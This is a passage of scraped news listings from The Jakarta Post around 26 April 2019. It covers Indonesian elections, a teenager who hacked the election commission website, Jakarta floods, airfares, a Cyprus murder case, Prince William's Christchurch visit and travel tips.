Thursday at around 8:15 a.m. southeast of Untung Jawa Island in Thousands Islands," East Jakarta Fire and Rescue Agency operational head Gatot Sulaeman said, tempo.co reported. Read also: Rescue personnel continue search for 8-year-old in Ciliwung River The discovery was made by officers of the Jakarta Transportation Agency who were on a speedboat heading to the Untung Jawa Island. The boat captain, Hasanudin, saw a floating body near the island and approached it. "He called the fire and rescue agency right away and the officers immediately recovered the body using a rescue boat," Gatot said. The body was taken to the National Police Hospital in Kramatjati, East Jakarta. The police then identified the body as Fikri, who had been missing since Tuesday after being carried away by a heavy current while swimming in the Ciliwung River in Kampung Melayu. "He was found shirtless and wearing shorts," Gatot said. (vla) Share this article Whatsapp Facebook Twitter Linkedin Nurni Sulaiman (The Jakarta Post) Bogor, West Java Fri, April 26, 2019 16:04 971 db1d47cf6ffbed4060cffaa873504097 1 Politics #2019GeneralElections,#politics,MK-justices,calls,evaluation,election,system Free After reports emerged last week that more than 200 election workers and police officers died of fatigue after voting day, calls are now mounting for the simultaneous presidential and legislative election system to be evaluated. Constitutional Court Chief Justice Anwar Usman was among those who acknowledged that the new system was too complicated, opening up the door for it to be challenged in court. Anwar, who expressed his sorrow over the deaths of the election workers and police officers across the country, said he felt guilty because he took part in the judicial review petition, which became the basis of the simultaneous elections. The court ruled in early 2014 that starting in 2019, the presidential and legislative elections were to be held simultaneously on the same day and that separate elections were no longer possible. "I came home from the polling station and I [realized] how difficult the election was, Anwar said recently. But the Constitutional Court justices decision is not the word of God; even the Constitution could be amended. In the ruling five years ago, the court ruled in favor of simultaneous elections because of, among other things, time and budget constraints. However, Anwar said the election budget turned out to be more than the initial estimate and reached up to Rp 25 trillion (US$1.7 billion). He admitted that the elections on April 17 had been the most complex in the world and far more difficult than the ones held in the United States. For this years elections, the General Elections Commission (KPU) recruited more than 7.2 million people to help run 810,329 polling stations and serve about 192.86 million eligible voters nationwide. The simultaneous elections meant that each voter had to cast five separate ballots: one for president and vice president, one for the House of Representatives, one for the Regional Representatives Council, one for their provincial legislative council (DPRD) and one for the regional or municipal legislative council. As of Thursday, the KPU recorded that at least 225 local poll administrators (KPPS) across the country died while 1,470 others were sick, presumably due to exhaustion. Anwar, who leads the courts nine-panel bench that is currently bracing for possible election disputes after the KPU announces the final tally on May 22, said the simultaneous elections should be evaluated in the future. Heavy duties still await [the court], though I frankly hope that objections, especially in the presidential election result, would not be lodged at the court, he said. Press Council chairman Yosep Adi Prasetyo concurred with Anwar, saying that the simultaneous elections had been the worlds most complex as it involved hundreds of millions people voting in three different time zones. Yosep told the press to publish election-related news based on facts, which are balanced and fair, urging it to remain skeptical and verify information. (afr) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 16:49 971 db1d47cf6ffbed4060cffaa873507606 4 National KPU,hacker,Polri Free MA, who successfully hacked the official website of the General Elections Commission (KPU), has received an offer to work for the National Police, his mother claimed. When he was arrested, he was treated very well. Even Bapak Ricky Boy Sialagan from the Cyber Crime Directorate [CID] said my son is an asset who had to be protected and might get a job with the National Police or KPU, MAs mother, Mira Melinda, said in Payakumbuh, West Sumatra, on Thursday as quoted by Antara. Payakumbuh Police chief Adj. Sr. Comr. Endrastyawan Setyowibowo said on Wednesday, as quoted by kompas.com, that MA only had a junior high school certificate, adding that he was arrested on Monday. However, MA's mother said her son was released and living with his uncle in Jakarta. His phone was confiscated, but he was given a new one by the police in Jakarta so that he can communicate with us, she said on Thursday. Mira added that her son had been interested in IT since he was in elementary school, saying that he was a self-taught IT expert. He plays with his laptop all day and has received many certificates [for his achievements in IT], she said. Among the certificates MA received was the SQL Injection Challenge from the Communications and Information Ministry, Responsible Disclosure from McAfee and Bug Report Vulnerability from Tokopedia. Meanwhile, his uncle, Ramadhan Putra, said Ma had hacked the KPUs website on April 18, a day after voting day, as a warning, adding that his nephew had told him that he only wanted to "remind" the KPU that its website was not well-protected. (gis/evi) Topics : KPU hacker Polri Share this article Whatsapp Facebook Twitter Linkedin News Desk (Reuters) Nicosia, Cyprus Fri, April 26, 2019 09:50 971 db1d47cf6ffbed4060cffaa8734f2cc2 2 World #Cyprus,#SerialKillings,police,probe,serial-killer,bodies,Women Free Police in Cyprus investigating the disappearance of women from the Philippines discovered a third body on Thursday in a suspected serial murder case which has shocked the Mediterranean island. A 35-year-old Greek Cypriot, a career officer in the army, was in custody as the primary murder suspect, police said. The bodies of two women were found in an abandoned mine shaft on April 14 and 20, and are thought to belong to two individuals from the Philippines reported missing in May and August of 2018. On Thursday police discovered the body of another woman at an army firing range about 14 km (8.6 miles) from the mine shaft but there was no immediate information as to her identity. Police sources told Reuters another three potential victims, based on the testimony of the suspect, were being sought. "Inquiries continuing today located a body ...a woman, after details obtained from the suspect," a police source told Reuters, requesting anonymity since investigations are going on. Earlier, police obtained an extension of a remand order against the suspect on suspicion of killing a woman from the Philippines who disappeared in December 2017, in addition to a remand already obtained for the disappearance and murder of two women in May and August of 2018. Police sources said the suspect on Thursday gave police details of an additional victim, "either Indian or Nepalese" killed in the summer of 2018. He also confessed to killing a Romanian woman and her under-aged daughter, the police source added. In court hearings, police said the army officer was suspected of having approached the dead women on an online dating site. The six year old child of one of the victims is also missing. Serial killings are virtually unknown in Cyprus, but there has been an uptick in serious crime in recent years. The last serious double-murder case involving the abduction and death of two women, one from Sweden and one from Ukraine, occurred in 1993. The perpetrators were sentenced to life in jail. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Christchurch, New Zealand Fri, April 26, 2019 09:49 971 db1d47cf6ffbed4060cffaa8734eb7e8 2 World #NewZealand,#mosque-attack,Prince-William,extremism,survivors Free In an emotional meeting with survivors of the New Zealand mosques massacre, Britain's Prince William appealed Friday for "extremism in all forms" to be defeated. About 160 people gathered at the Al Noor mosque in Christchurch to meet the prince who had earlier told first responders to the March 15 carnage that when "a good friend" is in need "you travel to their place and you put your arms around them." Six weeks to the day from when a self-styled white supremacist killed 50 people and wounded just as many in two Christchurch mosques, the prince said he stood with the people of New Zealand, the people of Christchurch and the Muslim community. "An act of violence was designed to change New Zealand, but instead, the grief of a nation revealed just how deep your wells of empathy, compassion, warmth and love truly run," the prince said after arriving at the mosque from a meeting with hospital staff who had tended to the wounded. "In a moment of acute pain, you stood up, and you stood together. In reaction to tragedy, you showed something remarkable. "I stand with you in gratitude to what you have taught the world in these past weeks. I stand with you in optimism... I stand with you in grief. I will support those who survive. "May the forces of love always prevail over the forces of hate... Extremism in all forms must be defeated." As armed police stood guard outside the mosque and a police helicopter circled overhead, the prince was welcomed to the mosque by the Imam Gamel Fouda, Prime Minister Jacinda Ardern and attack survivor Farid Ahmed whose wife was among those killed. Ahmed, who became the face of the Muslim community when he said he loved and forgave the gunman, told the prince: "We have to keep up hope and not surrender to hatred". When William arrived in the country on Thursday he made an unannounced visit to the Starship Children's Hospital in Auckland where he met with five-year-old Alen Alsati and her father, Wasseim, who were both injured in the March 15 attack. In a touching video released by Kensington Palace, Alen, who only woke from a coma early this week, asked William: "Do you have a daughter?," "Do I have a daughter? Yes, she's called Charlotte... she's about the same age as you," William replied. He flew to Christchurch later in the day to meet with police and medical officers who were first to the scene of the carnage, telling them they did "an incredible job on a very bad day." William -- who also visited Christchurch just weeks after the devastating February 2011 earthquake which claimed 185 lives -- will end his brief visit later Friday when he lays a wreath at the earthquake memorial site. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) London, United Kingdom Fri, April 26, 2019 16:44 971 db1d47cf6ffbed4060cffaa873506ab0 2 World #Britain,#China,UK,government,Huawei,leak,scandal Free Britain's splintered government was rocked Friday by a growing scandal over who leaked news that Prime Minister Theresa May has conditionally allowed Chinese giant Huawei to develop the UK 5G network. The highly controversial decision was reportedly made at a meeting on Tuesday of Britain's National Security Council despite opposition from some ministers who are seen as potential candidates to replace May. National Security Council discussions are only attended by senior ministers and security officials who first sign the Official Secrets Act that commits them to keep all conversations private or risk prosecution. But The Telegraph newspaper broke the news late Tuesday that May approved granting Huawei permission to build up "non-core" elements of Britain's next-generation telecommunications network. The United States is adamantly opposed to Huawei's involvement because of the firm's obligation under Chinese law to help its home government if asked, including in intelligence matters. British media reported that Cabinet Secretary Sir Mark Sedwill -- the country's most senior civil servant -- gave those present an ultimatum until Thursday afternoon to deny responsibility for the leak. Foreign Secretary Jeremy Hunt and Defence Secretary Gavin Williamson did so first. Hunt called it "utterly appalling" and Williams described it as "completely unacceptable". They were soon joined by interior minister Sajid Javid -- who like Hunt is one of the frontrunners to succeed May as Conservative Party leader -- and at least one other attending cabinet member. May herself said Thursday that she does not comment on National Security Council meetings. Sky News reported Friday that the ongoing government inquiry into the source of the leak could become a formal criminal investigation. Former cabinet secretary Gus O'Donnell told BBC radio that the disclosure of National Security Council information was "incredibly serious" and a "complete outrage". "This is really important for the country, these issues are massively important," he said. May's government has been experiencing strains for months. Disputes over Britain's stalled withdrawal from the European Union have seen several ministers resign. May herself has promised to step down as soon as she gets the first stage of Brexit over the line. The new extended deadline for the process is now October 31. Her commitment to quit has only fomented cabinet rivalries as various ministers jockey for position in a looming leadership race. May's spokesman said Wednesday that a formal decision on Huawei would be made by June. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 12:12 971 db1d47cf6ffbed4060cffaa8734f6fcc 4 Business car,exports,increase,2019,Airlangga-Hartarto Free Industry Minister Airlangga Hartarto has said the government aims for a 15 percent growth of car exports in 2019, from 346,000 in the previous year to 400,000. The minister said he sees high demand for Indonesian cars from ASEAN countries. The ASEAN market has big potential. The most Indonesian car exports were to the Philippines, Vietnam and also Thailand, which has started to open its market, said Airlangga in a statement as quoted by setkab.go.id on Thursday. The minister said Australia would also become another potential market for Indonesian automobiles, particularly after the recent signing of the Indonesia- Australia Comprehensive Economic Partnership Agreement (IA-CAPA). The government was now waiting for ratification of the agreement by the Australian parliament and Indonesias House of Representatives, he said. After the agreement is ratified, export potential [to Australia] would be greater, including for electric vehicles. Australia will give us high priority, he said, adding that the automotive industry was one of the best structured manufacturing sectors in Indonesia. Airlangga explained that Indonesia had already had the raw materials to manufacture cars: steel, plastics, rubber, tires and glass. He said Indonesia had also been able to develop car engines with 80 percent local content. Therefore, we see our automobiles as competitive for export, he said, adding that last year Indonesian carmakers in Indonesia produced 1.34 million units worth US$13.76 billion. (bbn) Share this article Whatsapp Facebook Twitter Linkedin Ghina Ghaliya (The Jakarta Post) Jakarta Fri, April 26, 2019 The General Elections Commission (KPU) said it might have to cancel extended voting in Sydney, Australia, if local organizers were unable to identify the names of eligible voters who were rejected at the polling station on April 13. Hundreds were denied their ballot at Sydney Town Hall that day because the local Overseas Elections Committee (PPLN) closed the poll at 6 p.m. as per KPU regulations, despite snaking lines that spanned three blocks from the building. As of Thursday, more than 49,000 people have signed a petition on change.org demanding a revote. While the local Elections Supervisory Committee (Panwaslu) and Elections Supervisory Body (Bawaslu) have recommended an extension, the KPU ordered local organizers to draw up a list of voters who had been unable to cast their ballot. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 17:15 971 db1d47cf6ffbed4060cffaa8735098e0 1 Business Sharia-Economy-Masterplan,launching,May,bambang-brodjonegoro Free The government plans to launch the 2019-2024 Sharia Economy Masterplan on May 14, as a road map for the development of the sharia economy to support national economic development in the country that has the largest Muslim population on the planet. The masterplan draft highlights four main strategic recommendations to develop the sharia economy in the country strengthening halal products, sharia finance and micro, small and medium enterprises (MSMEs), as well as optimizing the digital economy. The draft stresses the importance of optimizing the use of the digital economy in the form of e-commerce, marketplaces and financial technology. Meanwhile, on the sharia finance, the Sharia Economy Masterplan is an improvement of the existing Indonesia Sharia Finace Architectre Masterplan (MAKSI). National Development Planning Minister Bambang Brodjonegoro, who is also head of the National Development Planning Agency (Bappenas), said Indonesia, as a country with the largest Muslim population, should not only be a market of halal products. We need to develop the sharia economy through the halal industry. We need to optimize the local wisdom to benefit the global opportunity, he said when speaking at the Indonesia Islamic Economy Festival (IIEFest) as quoted in a press statement on Friday. In the draft, the aim of sharia economy development domestically was to expand the business scale and to improve independence and peoples welfare, while on the international level, Indonesia wants to upgrade its position on the Global Islamic Economy Indicator (GIEI). (bbn) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Japan News/Asia News Network) Tokyo, Japan Fri, April 26, 2019 08:08 971 db1d47cf6ffbed4060cffaa8734e4382 2 Sports #Japan,#powerplant,nuclear-plants,closure,anti-terrorism Free The Nuclear Regulation Authority has decided to order power companies to shut down nuclear reactors if they have not had certain facilities, legally required as antiterrorism measures, completed by specified deadlines. Nine reactors are currently online at five nuclear plants across the nation, and these are unlikely to have the necessary facilities completed before their deadlines. Consequently, it is possible that, one by one, these reactors will have to suspend operations. NRA Chairman Toyoshi Fuketa emphasized the nuclear watchdogs tough stance at a press conference Wednesday. Reactors will be considered nonconforming with required standards at the point the deadline passes, Fuketa said. Overlooking any state of incompatibility would, in light of the authoritys position, be totally unacceptable, he said. The operators are required to build facilities from which nuclear reactors can be remotely controlled in the event of an emergency, such as an aircraft being deliberately flown into the plants. Installing such a facility became mandatory under new regulations introduced after the March 2011 accident at Tokyo Electric Power Company Holdings, Inc.s Fukushima No. 1 nuclear power plant. The Nuclear Reactor Regulation Law stipulates nuclear plants that do not meet certain conditions can be suspended from operating, but no decision had been made on how authorities would handle reactors currently online if the deadline for completing the emergency facility passes. The NRA initially demanded the power companies finish building the facilities by July 2018. However, due to safety checks taking longer than expected, the watchdog extended the deadline in 2015. From the approval of construction plans including detailed designs for facilities at the power plant in its entirety operators have to complete the emergency facility within five years. Despite this, it has become apparent that each power company would not be able to meet the extended deadline. Construction has dragged on due to reasons such as the need to clear away a hill on a plants premises to build the facility or to dig a tunnel for vehicles involved in the work. The No. 1 unit at Kyushu Electric Power Co.s Sendai nuclear power plant was the first reactor in Japan to resume operations after the new regulations came into force. The deadline to build the required facility at this plant is March 2020, but Kyushu Electric expects this project will be completed about one year later. Kansai Electric Power Co.s Takahama nuclear power plant is required to build such a facility for its No. 3 reactor by August 2020, but there are concerns this work might take about another year. The NRAs decision could have an impact on every reactor across the nation, including those yet to resume operations. At a meeting with NRA officials on April 17, representatives from the utilities called for another extension of the deadline. A week later, at a regular meeting, the five NRA commissioners unanimously opposed extending the deadline, with the reasons given including the fact that construction work had not been significantly delayed by natural disasters. Implementing alternative measures to the antiterrorism facilities would be very difficult, so the commissioners agreed that any reactor whose facility remained incomplete at the deadline would be idled. Fuketa lobbed some stinging criticism at the utilities for the current situation. Not only were they overly optimistic about the construction work schedules, but they also were too optimistic about the reaction from the regulatory authorities, Fuketa said. They were grossly mistaken if they thought they might find a way through by asking for an extension when the deadline is drawing close. In a comment issued the same day, Kyushu Electric, Kansai Electric and Shikoku Electric said they would continue making maximum efforts to complete the facilities as soon as possible. Profits could be hit Halting the operation of nuclear reactors, which generate electricity at relatively low cost, could harm the earnings of power utilities and strike a major blow to their business performance. Kyushu Electric is the utility facing the shortest deadline until it might have to switch off a reactor. Kyushu Electrics No. 1 unit at the Sendai nuclear power plant was restarted in October 2015, which returned the company to profitability. Unplugging this reactor again would significantly affect the utilitys business performance. Kyushu Electric had just this month cut power bills due to lower fuel procurement costs because nuclear power generation had restarted. A Kyushu Electric representative said the utility was aware the antiterrorism facility was necessary to further improve the safety of the plant. Completing the facility before the deadline, however, is an extremely difficult circumstance.Speech Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 14:28 971 db1d47cf6ffbed4060cffaa8734fd9da 4 Business Darmin-nasution,Budi-Karya-Sumadi,Rini-Soemarno,airfare-surge,meeting Free Coordinating Economic Minister Darmin Nasution has said he would invite State-Owned Enterprises (SOE) Minister Rini Soemarno and the board of directors of flag carrier Garuda Indonesia for a meeting to discuss the recent surge in airfares, which has been widely blamed for the countys sluggish tourism. Yes, next week we will have a meeting with the SOE minister, the transportation minister and board of directors of Garuda Indonesia, Darmin said in Jakarta on Thursday as quoted by tempo.co. They are set to discuss a regulation for calculating the price floor and ceiling of airplane tickets that airlines have yet to follow and has, therefore, done little to push down prices. The Indonesian Hotel and Restaurant Association (PHRI) previously blamed airlines for the low occupancy rates in tourist destinations across the country. Earlier on Thursday, Transportation Minister Budi Karya Sumadi reportedly sought Darwins help to lower airfares after two regulations he had issued failed to convince airlines to take action. I told the coordinating economic minister that current ticket prices [do not support tourism]. The SOEs minister [is expected to] take part in regulating airfares, Budi said. He added that Rini, was expected to intervene with airlines whose shares were controlled by the government, namely Garuda Indonesia Group. Speaking about his initial plan to issue a decree that would require airlines to reserve 20 percent of their seats for subclass tickets that cost 70 percent of the price ceiling, Budi said the ball was now in the coordinating economic ministers court. A subprice is a repressive measure. I dont want to be repressive. But if I am instructed to do so, I will do it, Budi added. (bbn) Share this article Whatsapp Facebook Twitter Linkedin Nurul Fitri Ramadhani (The Jakarta Post) Jakarta Fri, April 26 2019 Push and pull: People move boxes of ballots sent in from the districts following the recent presidential and legislative elections at the local general elections commission office in Magelang, Central Java, on Thursday. The commission said it expected to process district-level ballots by May 2.(Antara/Anis Efizudin) Tension is easing between the rival camps in the presidential election as political parties have begun to weigh their options in the legislative and executive arms of the government after the elections. The National Mandate Party (PAN), which supported the opposition ticket of Prabowo Subianto and Sandiaga Uno, has opened the way for reconciliation as chairman Zulkifli Hasan, who is also the speaker of the Peoples Consultative Assembly (MPR), met with the incumbent, President Joko Jokowi Widodo. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 15:09 971 db1d47cf6ffbed4060cffaa8735007a1 1 City flood,jakarta,Tangerang,Depok,Ciliwung-river,Cisadane-River Free Greater Jakarta was once again struck by floods on Friday morning, causing heavy traffic and forcing thousands of residents to leave their homes. Seventeen neighborhoods across the capital were submerged after the Ciliwung River overflowed due to heavy rainfall. More than 1,500 people have evacuated the areas so far. Meanwhile, in Tangerang, Banten, overflow from the Cisadane River inundated residential areas, school buildings, offices and vehicles in 1-meter-deep water across Panunggangan Barat subdistrict. Motorcycles are submerged in flood water in front of Panunggangan Barat subdistrict office in Tangerang, Banten, on April 26. (Warta Kota/Istimewa) According to the Jakarta Disaster Mitigation Agency (BPBD), floods mostly struck areas in South and East Jakarta, namely in community units (RW) located in Lenteng Agung, Pengadegan, Srengseng Sawah and Rajawati in South Jakarta, as well as Cawang, Bidara Cina, Balekambang and Kampung Melayu in the east. At least 450 people have fled their homes in Cawang and 1,147 in the neighboring area of Cililitan, kompas.com reported. Floods have also caused severe congestion around Jl. Raya Kalibata in South Jakarta, where flood victims crowded the shoulder of the road and parked their cars there. Flooding in the Kalibata area also triggered severe traffic on Jl. Dewi Sartika, Jl. Raya Condet and Jl. Raya Bogor. Its insane. It took me up to two hours to get from Depok to PGC in Cililitan. Normally, traffic is not that bad, said Bima, a resident of Depok, West Java. Police personnel were deployed at certain crossroads to help manage the flow of traffic. Road users who want to go to Kalibata Raya are urged to avoid Jl. Dewi Sartika due to the traffic jam caused by floods, BPBD Jakarta said via its Twitter account @BPBDJakarta. Meanwhile, a number of settlements on the banks of Ciliwung River in Depok were also inundated, including Pasir Gunung Selatan in Cimanggis subdistrict. Asep Suwandi, a resident of Pasir Gunung Selatan, said that at least 15 families had been affected by the overflowing Ciliwung River. He added that flooding started at around 1 a.m. in the area, with water levels reaching between 50 and 100 centimeters deep. The flood receded at around 6 a.m. Some residents were able to save a few of their belongings before leaving the area. "I was only able to save a few items because BPBD Jakarta was telling us to go," he said. (das) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 08:21 971 db1d47cf6ffbed4060cffaa8734e48de 4 Business Airlines,airfare-surge,PHRI,complaints,occupancy-rate Free Airlines have been on the receiving end of criticism recently, as frustration mounts among other stakeholders in the travel industry, particularly hotel and restaurant operators, who blame high airfares for poor business performance during the low season. Indonesian Hotels and Restaurants Association (PHRI) deputy chairman Maulana Yusran said the airlines needed to consider the spending power of their customers in setting the airfares so that the business could expand. By taking [affordability] into account, the business can expand and more workers could be employed, and it would also trigger a multiplayer effect, he said as quoted by kontan.co.id on Wednesday. On Feb. 12, the PHRI had called on President Joko Jokowi Widodo to interfere in the setting of airfares, which were blamed for low occupancy rates of hotels and restaurants in a number of tourist destinations. Since then, the government has urged businesses to push down the prices of airline tickets. Energy and Mineral Resources Minister Iganasius Jonan called on state-owned oil and gas holding company Pertamina to lower avtur prices. Meanwhile, Transportation Minister Budi Karya Sumadi issued a regulation and a decree to force airlines to lower ticket prices. He was considering another decree to force carriers to cut airfares. Meanwhile, Tourism Minister Arief Yahya called on Budi to immediately issue a new decree. But so far, only few airlines have cut their ticket prices after increasing fares by about 40 percent in January, and hotel and restaurant businesses have not seen any improvement. Maulana questioned the reason for airlines failing to significantly reducing ticket prices even though avtur prices had been pushed down and a private company was allowed to sell the jet fuel along with Pertamina. PHRI revealed that the hotel occupancy rate in the period of January to April was only 20 to 40 percent. Usually, from January to March, the low season, the occupancy rate only declines by 10 to 15 [percentage points]. This low trend has continued into April, Maulana added. He expressed hope that the impact of airfares on the tourism industry would not continue during the Idul Fitri Holiday, which was supposed to be a high season in the tourist sector. But so far, we so not know what will happen during the holiday season, we are still waiting for the governments effort to push down airfares, Mauland added. Meanwhile, aviation business analyst Gerry Soejatman said tourism stakeholders should not only point fingers at airlines over their poor business performance. He did not agree with the idea of inviting foreign airlines to serve domestic flights. Inviting foreign airlines is not a solution. The solution is to find feasible prices and a better strategy for the Indonesian market, Gerry said, adding that all parties had to help increase efficiency to curb operational costs. Business Competition Supervisory Commission (KPPU) commissioner Guntur Saragih shared Gerrys opinion, saying the government should not interfere in airline pricing but let ticket prices be determined by market mechanisms. He added that the KPPU did not focus on the high ticket prices but rather on business players' legal compliance in setting prices. (bbn) (Bloomberg) Deutsche Bank AG said it relied on a rigorous vetting process in selecting hedge fund investments for its wealth-management clients. To read this article: Share this article Whatsapp Facebook Twitter Linkedin Dian Septiari (The Jakarta Post) Jakarta Sat, April 27 2019 Indonesia should consider giving Myanmar a deadline for its efforts to mitigate the violence in Rakhine state and ensure the safe return of Rohingya people who have fled the country or else consider other options, an Indonesian lawmaker has argued. Myanmars short-term goal should be to ensure a cessation of violence as soon as possible, said Prosperous Justice Party (PKS) legislator Sukamta, a member of the House of Representatives commission on foreign affairs and defense. There has to be a deadline for this effort, and if the Myanmar government cannot meet it, [Indonesia] should consider tougher diplomatic options, the politician said during a discussion in Jakarta on Thursday. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin Eriz Wicaksono (The Jakarta Post) Jakarta Sat, April 27 2019 There is a bit of a myth about how Brussels was made the de facto capital city of the European Union. Post-establishment of the European Economic Community, its member states could not reach a consensus on who should host its institutions. Then, in 1958, a meeting in Paris between the then-six member states concluded that the institution would be chaired in turns in alphabetical order. Coincidentally, based on this agreement, Belgium was first. As the year followed, Brussels realized that it was ever expanding to accommodate many of the organizations growing list of bodies. At the same time, member states were still unable to decide which city should serve as the permanent host, voila Brussels remained the host up to this day. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin (Agence France-Presse) London Fri, April 26, 2019 18:06 971 db1d47cf6ffbed4060cffaa87350b913 2 News easyJet,Airlines,travel,peanuts Free British airline easyJet has stopped selling peanuts and will remove all nuts from inflight foods, it said Thursday, to protect passengers with allergies. The no-frills carrier said passengers will also be asked not to eat nuts on board if fellow customers are allergic. "The safety and welfare of all of our customers and crew is our highest priority so we have a number of procedures in place to assist customers travelling with a nut allergy," an easyJet spokesman told AFP. "We ask that any customers with a nut allergy notify us ahead of travel and we will request that other passengers travelling on the flight do not consume any products containing nuts that they have brought with them on board. Read also: Korean Air stops serving peanuts after teens' flight disrupted by allergy "We have also stopped the sale of peanuts on board and will be removing the last product from our inflight range which contains nuts in the coming months." The issue came to prominence in Britain with the death of 15-year-old Natasha Ednan-Laperouse on a British Airways flight from London to Nice. She had a fatal reaction on board after eating a sandwich bought at Heathrow Airport which had sesame seeds inside its dough. Her family called for a change in the law on food labelling after the inquest into her death concluded in September last year. Topics : easyJet Airlines travel peanuts Share this article Whatsapp Facebook Twitter Linkedin Kathryn Curzon (The Jakarta Post) Jakarta Fri, April 26, 2019 11:56 971 db1d47cf6ffbed4060cffaa8734f472e 3 Tips snorkeling,outdoor-activities,beach,ocean,marine-environment,marine-tourism,tips,#travel,Cendrawasih-Bay,Komodo-National-Park,raja-ampat,Menjangan,Wakatobi Free Have you tried snorkeling yet? This fascinating hobby is ideal for exploring the beauty of Indonesias waters. Snorkeling involves swimming in the ocean, using a mask and breathing tube (or snorkel) so you can see and breathe underwater. Read on to find out more about this activity and the best spots for first-timers. Why snorkeling? Snorkeling is a great way to enjoy the marine life that's on your doorstep in this archipelago, which has some of the richest marine environments on the planet. You can swim with ocean giants like whale sharks or float above coral reefs to gaze at the multicolored fish below. If you head out to sea, you can even have the rare experience of snorkeling with great white sharks, sea lions, orcas and other large marine animals. Snorkeling is ideal for people who want to explore the ocean without committing to the gear, training and expense of scuba diving. Who can try snorkeling? Suitable for adults and children, snorkeling is a great activity to try as a family. It also helps adults and children gain confidence in the water. You can wear a snorkel vest to help keep you afloat, if youre not comfortable in the water. What gear do you need? One of the great things about snorkeling is the few equipment you need. All you really need is a good mask, fins and a snorkel. That being said, not all gear is equal, and you want to make sure you get the right snorkeling gear for you. This guide to snorkeling equipment and what to look for is a great place to start. Read also: Seven lesser-known dive areas in Indonesia What skills do you need? Snorkeling is easy to learn, and anyone can give it a try. Its a good idea to do some preparation to make the most of it. The more youre prepared, the more you can explore and fall in love with the ocean. Go swimming Before you go snorkeling, practice swimming to make sure youre comfortable in the water. You can take some lessons at your local pool or just focus on the freestyle technique: kicking your legs is exactly what youll do as a snorkeler. Being a strong swimmer will also mean you wont need a snorkel vest, giving you that much more freedom and ease of movement. Practice finning Swimming with fins is very different to swimming without them, so take the time to practice swimming with fins. Itll help strengthen your leg muscles and allow you to swim over the reef at a pace that suits you, so you can cover as much of the reef as you want. Breath holding You dont need to hold your breath when youre snorkeling, as your snorkel allows you to breathe as you swim just beneath the surface of the ocean. If you learn how to dive under the water while snorkeling, you can get closer to the corals and fish below. Being able to hold your breath comfortably will make it easier for you to learn to duck dive. You can practice holding your breath and even ask your snorkeling instructor to teach you to duck dive. Whatever you decide, the most important thing to remember when snorkeling is to slow down, relax, and let your fins do the work. You want to conserve your energy as much as possible so you can enjoy all that incredible marine life youre seeing. Where are the best places for snorkeling? The Coral Triangle has the highest diversity of marine life in the world. Indonesia sits at the heart of this special area and offers some of the best snorkeling on Earth. Dont miss it! Wakatobi, Southeast Sulawesi Wakatobi has an incredible array of snorkeling opportunities. Shallow house reefs and seagrass beds are literally just off the beaches, where you can go snorkeling with sea turtles and explore reefs teeming with fish. You can also enjoy dozens of snorkeling spots if you hop on a dive boat and head to the outer reefs. Either way, remember to take your camera. The waters around Wakatobi are absolutely full of life. Cenderawasih Bay, Papua/West Papua If you want to snorkel with friendly whale sharks, make sure you visit Cenderawasih Bay. The bay is known for its whale sharks that local fishermen feed for good luck. The sharks are very tolerant of snorkelers and divers in the water. Komodo National Park, East Nusa Tenggara Komodo National Park is another top destination for snorkeling, and you can also see the Komodo dragons there. The waters host a variety of marine species including manta rays, seahorses, dolphins and plenty of big fish. When youve had your fill of snorkeling, be sure to visit Komodos stunning pink sand beach one of only seven pink sand beaches in the world. Raja Ampat, West Papua If you visit Raja Ampat, youll also have a chance to see manta rays, turtles, dolphins and plenty of smaller sharks. The many beautiful islands are dotted with reefs, which also make Raja Ampat an ideal place for taking a snorkeling and dive cruise. Menjangan Island, Bali This small island off the northwest coast of Bali is a real hidden gem. Part of the stunning West Bali National Park, it is a great place to try snorkeling and enjoy the pristine reefs. You can combine a snorkeling trip with exploring the park, so pack your hiking boots as well. (kes) *** The contributor is a dive travel writer. Follow her adventures at www.kathryncurzon.com. Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 17:13 971 db1d47cf6ffbed4060cffaa873508b31 4 News travel,visa-application,South-Korea,Indonesia,Visa Free Some lucky Indonesians are now eligible to apply for a 10-year multiple-entry visa to South Korea, an embassy official said on Thursday. Since last year, Indonesians have been able to apply for a five-year multiple-entry visa, which is valid for 30 days of stay per visit. Compared to a single-entry visa that will take six working days to process, a multiple-entry visa can be obtained in just one day after the application is submitted, reported kompas.com. Visa applicants are required to include a financial statement, either a copy of their bank account statement, tax return or salary slip. However, South Korean Ambassador to Indonesia Kim Chang-Beom announced that the country now offered a multiple-entry visa valid for 10 years, in addition to the five-year visa, and Indonesian citizens were no longer required to include their financial statement when applying. The 10-year multiple visa can be issued at any time with 90 days duration of stay for each visit, said Kim in Jakarta on Thursday. Read also: I used my powerless Indonesian passport to apply for UK visa. This 